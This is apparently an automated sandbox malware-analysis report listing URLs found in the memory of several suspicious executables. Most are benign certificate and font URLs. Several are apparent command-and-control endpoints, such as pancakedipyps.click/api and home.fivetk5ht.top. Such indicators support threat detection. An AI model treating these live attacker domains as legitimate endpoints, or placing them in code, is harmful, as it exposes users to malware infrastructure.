Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.2953163550.000000000089C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000007.00000002.2455021819.0000000001272000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe.6.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 521206d971.exe, 0000000C.00000002.2666955531.0000000009772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 623cea31e9.exe, 00000009.00000003.2552765393.00000000033B6000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2640269571.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 521206d971.exe, 0000000C.00000000.2575906221.0000000000D02000.00000002.00000001.01000000.0000000B.sdmp, 521206d971.exe.6.dr	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: 521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: 521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: 521206d971.exe, 0000000C.00000000.2575906221.0000000000D02000.00000002.00000001.01000000.0000000B.sdmp, 521206d971.exe.6.dr	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: 521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: 521206d971.exe, 0000000C.00000002.2659821974.0000000003181000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe.6.dr	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellflamre.click/
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellflamre.click/Iz
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellflamre.click/api
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellflamre.click/api)
Source: 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664351900.0000000005585000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 623cea31e9.exe, 00000009.00000003.2501646598.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501746217.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2501556521.00000000033CB000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2592016814.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 0a60e3a257.exe, 0000000B.00000003.2591834970.00000000055CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 521206d971.exe, 0000000E.00000002.2672691270.0000000005770000.00000004.08000000.00040000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003ECD000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/api
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/apiT
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/iz
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/pi
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/yz
Source: 173fa614c9.exe, 00000013.00000002.2955163088.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz:443/api
Source: 0a60e3a257.exe, 0000000B.00000003.2664009371.0000000005582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 623cea31e9.exe, 00000009.00000003.2500615284.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2592210223.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2551639988.0000000003388000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2526777133.0000000003386000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630916042.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2592552557.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2558340506.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2552171137.000000000338B000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2551993104.0000000003388000.00000004.00000800.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500850365.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/38~
Source: 623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500850365.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692626177.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 623cea31e9.exe, 00000009.00000003.2582946088.0000000003388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api:
Source: 623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiP
Source: 623cea31e9.exe, 00000009.00000003.2630803480.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D78000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668640753.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apix
Source: 623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/bu0
Source: 623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/buh
Source: 623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630803480.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668640753.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2591618235.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/lap
Source: 623cea31e9.exe, 00000009.00000003.2500772799.0000000000D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/o_
Source: 623cea31e9.exe, 00000009.00000002.2692855650.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630803480.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668640753.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2591618235.0000000000D67000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690796206.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/ob
Source: 623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630424113.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2630916042.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 623cea31e9.exe, 00000009.00000002.2692783107.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2690494782.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/piZ
Source: 623cea31e9.exe, 00000009.00000003.2614165963.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692502524.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2500615284.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2691007732.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2591861474.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668894302.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: 623cea31e9.exe, 00000009.00000003.2500615284.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/apiC
Source: 623cea31e9.exe, 00000009.00000003.2614165963.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000002.2692502524.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2691007732.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2591861474.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp, 623cea31e9.exe, 00000009.00000003.2668894302.0000000000CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/apiK
